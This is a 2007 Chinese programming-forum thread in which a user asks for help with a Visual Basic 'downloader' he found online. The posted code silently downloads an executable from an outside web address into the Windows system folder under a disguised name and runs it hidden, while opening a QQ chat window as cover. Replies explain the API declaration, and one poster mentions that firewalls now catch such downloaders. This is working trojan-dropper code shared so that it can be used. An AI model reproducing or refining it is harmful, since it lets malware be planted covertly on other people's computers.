| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 516 人关注过本帖
标题:写下载者遇到的问题
只看楼主 加入收藏
黑蝎子
Rank: 1
等 级:新手上路
帖 子:50
专家分:0
注 册:2007-7-24
收藏
 问题点数:0 回复次数:4 
写下载者遇到的问题

我在网上找到一段代码,代码的内容是这样的:

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal

pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As

Long, ByVal lpfnCB As Long) As Long
Private Sub Command1_Click()
r = URLDownloadToFile(0, "http://www.tc99.net/flash/1.exe", "c:\windows\system\hehe.exe",

0, 0)
If Dir("c:\windows\system\hehe.exe") <> "" Then
Shell "cmd /c start tencent://Message/?Uin=" & Text1.Text, 0
If r = 0 Then
Shell "c:\windows\system\hehe.exe", 0
End If
Else
MsgBox "无法连接网络", 0, "错误"
End If
End Sub

Private Sub Text1_Click()
Text1.Text = ""
End Sub
请问下面这一段是怎么写出来的?我们我用在窗体上时在代码编辑窗口时显示的是红色的?这段代码是什么意思?
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal

pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As

Long, ByVal lpfnCB As Long) As Long
还请高手多多指点!

搜索更多相关主题的帖子: blank windows system target 网上 
2007-11-10 07:38
t是变量
Rank: 1
等 级:新手上路
帖 子:95
专家分:0
注 册:2007-11-4
收藏
得分:0 

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


社会主义好!社会主义好!社会主义国家人民地位高!
2007-11-10 09:48
wuyuede
Rank: 1
等 级:新手上路
帖 子:110
专家分:0
注 册:2007-3-29
收藏
得分:0 

你写的这个我以前也写过,现在都被防火墙拦截了,呵呵

2007-11-11 11:42
黑蝎子
Rank: 1
等 级:新手上路
帖 子:50
专家分:0
注 册:2007-7-24
收藏
得分:0 

哦 可是我现在连让防火墙拦截的机会都没有


坚持不一定胜利,但放弃就一定失败!
2007-11-14 16:25
wuyuede
Rank: 1
等 级:新手上路
帖 子:110
专家分:0
注 册:2007-3-29
收藏
得分:0 
楼上说的啥意思?都被杀了,哈哈
2007-11-15 17:15
快速回复:写下载者遇到的问题
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016923 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved